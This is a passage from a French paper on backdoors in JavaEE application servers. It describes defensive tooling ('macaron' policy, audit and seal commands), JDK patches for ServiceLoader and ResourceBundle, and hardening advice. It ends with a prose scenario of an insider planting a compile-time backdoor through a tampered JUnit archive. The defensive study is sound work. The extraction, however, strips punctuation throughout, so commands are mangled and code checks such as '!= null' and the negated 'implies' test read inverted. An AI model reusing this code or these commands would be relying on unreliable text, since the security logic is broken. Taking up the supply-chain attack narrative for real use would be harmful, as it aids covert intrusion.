Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 393
Fig 2 Lecture de properties
